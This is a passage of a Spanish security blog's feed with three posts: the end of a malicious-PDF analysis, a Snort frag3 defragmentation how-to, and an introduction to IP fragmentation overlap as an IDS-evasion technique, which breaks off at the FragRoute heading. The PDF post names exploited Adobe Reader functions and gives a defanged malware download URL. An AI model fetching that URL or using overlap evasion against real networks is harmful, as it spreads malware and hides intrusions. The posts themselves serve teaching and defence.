left;"&gt;&lt;div style="text-align: justify;"&gt;Al final del código JS se observa como explota dos vulnerabilidades en función de la versión del visor de pdf. Si es mayor que la versión 5.0 y menor que la versión 7.1 intenta aprovechar la vulnerabilidad de la función Collab.colletEmailInfo(). Si la versión esta entre 8.0 - 8.1.0.2 y 9.0 - 9.1 intenta aprovechar la vulnerabilidad en Collab.GetIcon().&lt;br /&gt;&lt;br /&gt;Ahora para finalizar este análisis ligero, y que nos permita hacernos una idea superficial de qué contiene el pdf y que pretende, completaremos un poquito nuestras impresiones con herramientas de terceros que están online:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Servicio Wepawet, donde obtenemos un &lt;a href="http://wepawet.iseclab.org/view.php?hash=a491ae05103849d8797d1fda034e0bd5&amp;amp;type=js"&gt;informe&lt;/a&gt;. Vemos como solo nos indica que aprovecha la vulnerabilidad de la función Collab.GetIcon() y su CVE. Lo importante de este informe es el análisis del shellcode que nos muestra como se realiza referencia a un bichito adicional de malware en la url hxxp://nt13.co.in/1. Si ahora cogemos este enlace y lo pasamos por el servicio &lt;a href="http://anubis.iseclab.org/?action=result&amp;amp;task_id=1e0b236968212b7b4d90852d4ccf3def4"&gt;Anubis&lt;/a&gt; y por &lt;a href="http://www.virustotal.com/es/analisis/ea1758a363d066da5f8a007bf0820f7cc4ccc8c7e5a9bb32bf79a10b208d21f4-1276926515"&gt;virustotal&lt;/a&gt;, veremos el informe del especímen que se bajará al ejecutarse el shellcode. &lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Servicio VirusTotal, obtenemos un &lt;a href="http://www.virustotal.com/es/analisis/658447b122445bfda88744a0d74b367140e207df5786c23a97153e36072691b7-1276535134"&gt;informe del pdf&lt;/a&gt;, donde por ejemplo vemos que el motor antivirus karpesky lo cataloga como &lt;a href="http://www.kaspersky.co.uk/viruswatchlite?search_virus=Exploit.JS.Pdfka.ckj&amp;amp;x=0&amp;amp;y=0&amp;amp;hour_offset=-11"&gt;Exploit.JS.Pdfka.ckj&lt;/a&gt;. Buscando por el nombre de este exploit vemos el informe de f-secure sobre &lt;a href="http://www.f-secure.com/v-descs/exploit_js_pdfka_ti.shtml"&gt;Exploit.JS.pdfka.Ti&lt;/a&gt;, y donde comenta que explota la vulnerabilidad comentada anteriormente en la función Collab.colletEmailInfo() con su CVE.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como véis el fichero analizado no tiene desperdicio y para un primer análisis de un fichero pdf sospechoso puede valernos ;). Espero que os sirva!!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1503764494289148600?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/07/analisis-de-un-pdf-portador.html</link><author>noreply@blogger.com (José Miguel Holguín)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_ywZ68m8Vt3A/TB3KRd9vRlI/AAAAAAAAAaQ/ugDLwQ0y8cw/s72-c/Captura+de+pantalla+2010-06-20+a+las+09.58.26.png" height="72" width="72" /><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1898270657863488926</guid><pubDate>Mon, 28 Jun 2010 06:15:00 +0000</pubDate><atom:updated>2010-06-28T08:15:00.352+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DefCon</category><category domain="http://www.blogger.com/atom/ns#">SeguridadRedes</category><title>IP DEfragmentation &amp; Snort</title><description>&lt;div style="text-align: justify;"&gt;En la &lt;a href="http://www.pentester.es/2010/06/ip-fragmentation-overlap-fragroute.html"&gt;entrada de la semana pasada&lt;/a&gt; introdujimos algunos conceptos de IP Fragmentation, qué es un IP Fragmentation Overlapping, y realizamos un pequeño ejemplo con FragRoute en el que realizábamos una conexión contra un sistema Windows, fragmentando con un overlapping de tal forma que solo fuera reconstruible por sistemas Windows, y lo comprobamos usando un sistema Linux.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pero... ¿está todo perdido? ¿no podemos obtener la conexión original de ninguna forma a partir de la captura de red?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por supuesto, la respuesta es SI, claro que podemos obtener la conexión original a partir de la captura de red, solo necesitamos... "pensar" como el servidor destino de la conexión, respirar lo que él respira, comer lo que él come, y defragmentar como él defragmenta :P&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La idea más inmediata es disponer de al menos un sistema de cada uno de los tipos de defragmentado que &lt;a href="http://www.pentester.es/2010/06/ip-fragmentation-overlap-fragroute.html"&gt;comentamos en la anterior entrada&lt;/a&gt;, con el Wireshark instalado y, simplemente, abrir la captura de red para que defragmente de la manera que lo haría ese sistema, pero...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/TCLsi-MFBSI/AAAAAAAAAcE/l9ZPboNjLIQ/s1600/MalFrag.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/TCLsi-MFBSI/AAAAAAAAAcE/l9ZPboNjLIQ/s400/MalFrag.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5486207381644051746" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 106px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Podemos ver como la misma captura, abierta con un Windows, muestra el mismo resultado que cuando la abrimos desde un Linux, así que no hemos solucionado nada nuestro problema. Según parece, Wireshark no utiliza la pila TCP/IP del sistema en el que se ejecuta para realizar el refragmentado, sino que utiliza un módulo propio, como podemos ver en la siguiente captura de la ventana que se encuentra en Preferencias-&gt;Protocolos-&gt;IP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/TCLtJKR-OfI/AAAAAAAAAcM/XP1DhcQ9v1g/s1600/Wireshark.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/TCLtJKR-OfI/AAAAAAAAAcM/XP1DhcQ9v1g/s400/Wireshark.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5486208037725026802" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 327px; height: 191px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vale, opción uno a la basura, ¿qué hacemos ahora? La lógica dice que no sería raro que existiera algún tipo de herramienta que le pasaras como parámetros un pcap y algún tipo de fichero de configuración de que tipo de defragmentado quieres para cada uno de los hosts, y te devolviera un pcap con los fragmentos ya reconstruidos. Sin embargo, yo no conozco o hasta ahora no he encontrado una herramienta que haga algo así (si alguien conoce una, que lo diga), así que la opción dos se nos va a la basura también.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Muy bien, no tenemos una herramienta que haga directamente lo que queremos, pero sí hay herramientas que están preparadas para realizar estos refragmentados, y es posible que pudiéramos "tunearlas" para obtener el pcap de la manera que queremos. Estoy pensando claramente en los Sistemas de Detección de Intrusos basados en Red (NIDS). ¿Recordáis que comentamos que las técnicas de IP Fragmentation Overlapping podían ser usadas para evadir las protecciones de los IDS? Pues los fabricantes de IDS no se han quedado con los brazos cruzados, y muchos de ellos realizan una especie de "emulación" de las distintas maneras de refragmentar que existen.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Preprocesador Frag3&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En el caso de &lt;a href="http://www.snort.org/"&gt;&lt;b&gt;Snort&lt;/b&gt;&lt;/a&gt;, uno de los NIDS más utilizados de la actualidad, la respuesta es el preprocesador &lt;b&gt;frag3&lt;/b&gt;. Una vez configurado, este preprocesador es el encargado de recomponer el paquete de la misma forma que lo hará el sistema destino de la conexión, para que de esta manera ambos puedan ver el mismo paquete, y por tanto comprobar las firmas de ataques de forma efectiva.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para configurar correctamente el preprocesador frag3 deberemos editar el fichero /etc/snort/snort.conf (en BackTrack, en otros sistemas podría cambiar de lugar) y buscar la cadena "frag3", que nos llevará a la zona del fichero de configuración en la que deberemos configurar el preprocesador. En la zona comentada podemos ver con todo detalle como configurar este preprocesador. En este caso, tenemos una captura de red con los paquetes y fragmentos creados el post de la semana pasada, contra un Windows en la IP 172.16.25.151, así que tenemos que hacerle saber a frag3 que lo que hay detrás de esa IP es un Windows. Para ello, añadiremos las siguientes lineas al final de todos los comentarios de la zona de configuración del frag3:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;preprocessor frag3_global: max_frags 65536&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;preprocessor frag3_engine: policy windows bind_to 172.16.24.151&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El frag3_global es algo que se tiene que poner una vez al principio de las frag3_engine. Este sería un buen valor por defecto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vale, ya le hemos dicho a Snort que 172.16.24.151 es un Windows, así que ahora cualquier paquete fragmentado que vaya contra esa dirección debería ser correctamente defragmentado, pero... ¿cómo conseguimos obtener el pcap resultante tras defragmentar?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Output Plugin log_tcpdump&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Aunque la salida típica de Snort es un log texto, existen una gran cantidad de plugins de salida que podemos utilizar para obtener una gran variedad de salidas. Entre ellas, existe la posibilidad de conservar el paquete entero mediante el plugin &lt;b&gt;log_tcpdump&lt;/b&gt;, el cual será guardado en formato pcap, tal y como queremos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para activar este plugin de salida deberemos editar de nuevo el fichero /etc/snort/snort.conf y buscar la cadena "log_tcpdump" para llegar a la zona de este output plugin. Para activarlo, únicamente deberemos añadir la siguiente linea:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;output log_tcpdump: tcpdump.log&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Mediante esta linea, cada vez que algún paquete haga match con alguna de las reglas de snort, además de las otras salidas que hay configuradas, se nos guardará el paquete completo en un fichero tcpdump.log.[timestamp] en el directorio en el que hayamos configurado que se guarden los logs (en BackTrack: /var/log/snort/).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Perfecto, ya casi lo tenemos, pero... yo no quiero obtener un pcap con los paquetes que hagan match con algún ataque, yo quiero simplemente TODOS los paquetes, pero defragmentados, obviando las reglas de Snort ¿cómo podemos hacer eso?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Regla MatchAll para Snort&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Bueno, si el problema es que solo vamos a obtener el pcap de los paquetes que hagan Match con alguna de las reglas de Snort y nosotros los queremos todos los paquetes... la solución parece fácil, creemos una regla de Snort que haga match con cualquier paquete, así en cualquiera de los casos todos los paquetes de nuestro pcap inicial harán match con alguna regla, así que todos ellos serán registrados en formato tcpdump tal y como queremos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La regla podríamos afinarla todo lo que queremos para que nos registrara una conexión concreta, pero en este caso vamos a utilizar una que sencillamente haga Match con cualquier paquete de una conexión TCP. Para ello editamos el fichero /etc/snort/rules/local.rules y añadimos la siguiente regla:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;alert tcp any any -&gt; any any (msg:"ALL MATCH"; sid:1000001; rev:1;)&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bueno, parece que ya lo tenemos todo: Snort está preparado para defragmentar nuestro pcap, todos los paquetes resultantes de la defragmentación van a hacer match con una regla, y por tanto van a ser registrados en un pcap de salida. Ahora solo nos queda... pasarle este pcap a Snort de alguna forma, ya que por defecto este obtiene los paquetes sniffando directamente de la red.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Snort sobre un fichero PCAP&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Además de ser lanzado para sniffar una interface de red, Snort puede ser lanzado pasándole como argumento (con la opción -r) un fichero pcap del cual obtendrá los paquetes de la misma forma que lo haría de un interface de red. Esta opción puede resultar muy útil en una investigación forense en la que disponemos de una captura de red, porque podemos identificar mediante Snort ataques conocidos o firmas de gusanos que se propaguen por la red, pero en este caso nos va a venir bien, simplemente, para defragmentar el pcap que hemos obtenido:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;/usr/local/bin/snort -c /etc/snort/snort.conf -r fragmentado.pcap&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez lanzado, veremos que en el directorio /var/log/snort/ (o en el que tengáis configurado que se guarde la salida de Snort aparecen dos ficheros, un fichero "alert" típico de Snort con la salida en texto, y un fichero "tcpdump.log.[timestamp]" que debería contener nuestra conexión ya refragmentada de la misma forma que lo haría un Windows:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/TCflTFCRmKI/AAAAAAAAAcU/kg8Aa1t9opc/s1600/Defragmentado.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/TCflTFCRmKI/AAAAAAAAAcU/kg8Aa1t9opc/s400/Defragmentado.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5487606786906232994" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 202px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, los fragmentos IP han desaparecido, no hay errores de Checksum (señal de un mal defragmentado) ni nada que no parezca una conexión TCP normal. Comprobémoslo realizando un "Follow TCP Stream" de la conexión:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/TCflwJtJxPI/AAAAAAAAAcc/Q4B8ZbRI8fU/s1600/TCPStream.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/TCflwJtJxPI/AAAAAAAAAcc/Q4B8ZbRI8fU/s400/TCPStream.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5487607286376023282" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 218px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Parece que esta vez sí que hemos conseguido defragmentar correctamente la conexión, porque vemos una comunicación HTTP que tiene toda la pinta de ser auténtica, y no con las cadenas basura que veíamos en la captura del inicio de esta entrada.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A partir de aquí a analizar, a ver que es eso que "los malos" han puesto tanto empeño en esconder detrás de una fragmentación con overlapping.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1898270657863488926?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/06/ip-defragmentation-snort.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_Jx-hAg65Epo/TCLsi-MFBSI/AAAAAAAAAcE/l9ZPboNjLIQ/s72-c/MalFrag.png" height="72" width="72" /><thr:total>10</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-884442379141619826</guid><pubDate>Tue, 22 Jun 2010 13:26:00 +0000</pubDate><atom:updated>2010-06-22T15:47:58.861+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DefCon</category><category domain="http://www.blogger.com/atom/ns#">SeguridadRedes</category><title>IP Fragmentation Overlap &amp; Fragroute</title><description>&lt;div style="text-align: justify;"&gt;Hace algunas semanas vi en una de las pruebas de las PreQuals de la DEFCON &lt;a href="http://stalkr.net/files/defcon/2010/quals/crypto500/"&gt;una prueba&lt;/a&gt; (&lt;a href="http://stalkr.net/files/defcon/2010/quals/crypto500/"&gt;c500&lt;/a&gt;) en la que había que analizar una captura de red y obtener de ahí la solución. Como técnica de "ofuscación" del contenido de la comunicación, pareció haberse usado una técnica de &lt;b&gt;IP Fragmentation Overlap&lt;/b&gt;, entre otras. Veamoslo rápidamente:&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238);"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238);"&gt;&lt;span class="Apple-style-span" style="text-decoration: underline;"&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/TCAxbg2ZORI/AAAAAAAAAa8/0i0HhG3HPKk/s1600/IMG001.png"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/TCAxbg2ZORI/AAAAAAAAAa8/0i0HhG3HPKk/s400/IMG001.png" alt="" id="BLOGGER_PHOTO_ID_5485438694881573138" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 162px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;No vamos a entrar a la resolución de este reto, por ser algo más complejo, pero simplemente queremos haceros notar la existencia de IP Fragmentation Overlap, ya que los offsets de los fragmentos van de 40 en 40 bytes y sin embargo algunos paquetes contienen 80 bytes de datos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pero creo que nos estamos adelantando un poco, y este reto nos da pie para hablar un poco de la Fragmentación de paquetes IP, del Fragmentation Overlap y a poner un par de ejemplos usando &lt;b&gt;Fragroute&lt;/b&gt;, una herramienta especialmente pensada para este tipo de ataques. No nos gusta mucho "soltar el rollo", pero en este caso creemos que es necesario para entender bien estos ataques.&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;b&gt;¿Qué es IP Fragmentation?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como ya sabéis, según el modelo TCP/IP, un Datagrama IP será "encapsulado" (para que nos entendamos) en algún tipo de protocolo a nivel de enlace, en redes locales generalmente Ethernet, pero podría usarse cualquier otro medio, en función del enlace que vayamos a usar. Cuando vamos a realizar esta "encapsulación", tenemos un requisito que tenemos que tener en cuenta, y es el llamado MTU (Maximum Transmission Unit) de dicha red, que es diferente según el tipo de red que vayamos a usar.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para que nos hagamos una idea, es como si el Datagrama IP fuera un salami, y lo queremos meter en un buzón para que sea enviado. Si la rendija del buzón es más grande que nuestro salami, no hay problema, se mete entero y listo, pero... ¿qué pasa si la rendija es más pequeña? En ese caso tendremos que sacar un cuchillo y trocear nuestro salami de alguna manera, meter cada uno de los trozos en un sobre diferente y enviarlo por partes.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La única pega con esto es que, aunque el salami nos llegue a trozos, nos da igual por donde empezar a comerlo, pero con los fragmentos de un datagrama IP no pasa lo mismo, ya que tienen un orden que deberemos respetar. Para garantizar que estos fragmentos son "reensamblados" en destino de la misma forma, el protocolo IP cuenta con estos dos campos:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;IPID&lt;/b&gt;: Es el número que identifica a todos los fragmentos de un mismo paquete. Si un montón de fragmentos IP tienen el mismo IPID, quiere decir que deberán ser reensamblados en el mismo paquete.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;Offset&lt;/b&gt;: Es la posición en bytes que ocupará el fragmento desde el inicio del paquete. De esta forma, el fragmento con offset=0 será el primero, el offset=X (siendo X la cantidad de bytes en los que hemos troceado) será el segundo, offset=2*X será el tercero, y así sucesivamente hasta reensamblar el paquete completo.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por lo tanto, ya sabemos que existe una técnica para trocear los datagramas IP si no "caben" en nuestra red y luego reensamblarlo en destino, pero... ¿como afecta esto a la seguridad?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En primer lugar, podemos forzar que se realice una fragmentación siempre que queramos, aunque el MTU de nuestra red no lo requiera, y en segundo lugar, podemos crear "anomalías" en la fragmentación que nos haga encontrarnos ante excepciones del protocolo que no están resueltas de una manera estándar, y que por tanto cada fabricante de sistemas operativos puede haber resuelto de forma diferente. Una de las maneras de hacerlo es un IP Fragmentation Overlap.&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;b&gt;¿Qué es un IP Fragmentation Overlap?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hemos dicho que el IPID identifica a todos los fragmentos que deberán ser recompuestos en un mismo datagrama IP, y que el Offset nos señala a partir de donde deben reensamblarse dichos datos. En un caso de fragmentación normal, si por ejemplo hemos partido el datagrama IP en bloques de 40 bytes, deberíamos tener un fragmento con offset 0, 40, 80, 120, y así sucesivamente, todos ellos con un tamaño de 40 bytes.&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/TCC7P-UQvjI/AAAAAAAAAb0/fNQGZvfhBEo/s1600/overlap1.bmp"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 41px;" src="http://2.bp.blogspot.com/_Jx-hAg65Epo/TCC7P-UQvjI/AAAAAAAAAb0/fNQGZvfhBEo/s400/overlap1.bmp" alt="" id="BLOGGER_PHOTO_ID_5485590229237677618" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;No hay problema, reensamblamos perfectamente y obtendremos de nuevo el datagrama IP, pero... qué sucede si alguno de los paquetes es mayor de 40 bytes, nos encontraríamos con algo como esto:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/TCC7cXZV1gI/AAAAAAAAAb8/7VYP-XXRbz0/s1600/overlap2.bmp"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 64px;" src="http://1.bp.blogspot.com/_Jx-hAg65Epo/TCC7cXZV1gI/AAAAAAAAAb8/7VYP-XXRbz0/s400/overlap2.bmp" alt="" id="BLOGGER_PHOTO_ID_5485590442128299522" border="0" /&gt;&lt;/a&gt;Ya le hemos liado, ¿cómo construimos el paquete ahora? ¿Qué información ponemos entre el byte 80 y el byte 119? ¿La que está en el segundo fragmento o en el tercero?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El protocolo no lo deja claro, así que ahí cada fabricante de sistemas operativos lo ha resuelto de una manera diferente. Según la documentación de Snort, en este momento hay en el mercado 7 políticas diferentes a la hora de realizar el reensamblado de paquetes:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;First&lt;/b&gt;: HP-UX 11, MacOS, SunOS &lt;5.8&lt;/li&gt;&lt;li&gt;&lt;b&gt;Last&lt;/b&gt;: Cisco&lt;/li&gt;&lt;li&gt;&lt;b&gt;BSD&lt;/b&gt;: AIX, FreeBSD, HP-UX 10.x, IRIX&lt;/li&gt;&lt;li&gt;&lt;b&gt;BSD-Right&lt;/b&gt;: Algunas impresoras HP&lt;/li&gt;&lt;li&gt;&lt;b&gt;Linux&lt;/b&gt;: OpenBSD, Linux&lt;/li&gt;&lt;li&gt;&lt;b&gt;Windows&lt;/b&gt;: Windows (obviamente)&lt;/li&gt;&lt;li&gt;&lt;b&gt;Solaris&lt;/b&gt;: Solaris 9 y 10&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;La descripción de como realiza el reensamblado cada una de estas políticas (o al menos gran parte de ellas) puede encontrarse en &lt;a href="http://www.icir.org/vern/papers/activemap-oak03.pdf"&gt;este paper&lt;/a&gt;, salvo para Windows y Solaris, que Snort las ha separado recientemente de la política First, aunque sus diferencias sea leves.&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El tema es que, aprovechando estas anomalías, podemos generar una conexión de red con una fragmentación especialmente creada para que funcione adecuadamente con nuestro sistema objetivo (un Windows, por ejemplo) pero que al ser reensamblado por otro tipo de sistemas (un Snort o un Wireshark en un Linux, por ejemplo) la información obtenida sea diferente, con lo que podemos ocultar una conexión e incluso provocar que el IDS no detecte ataques contra ese sistema (aunque ya veremos en otra ocasión como Snort tiene maneras de mitigar estos riesgos).&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;b&gt;FragRoute&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;
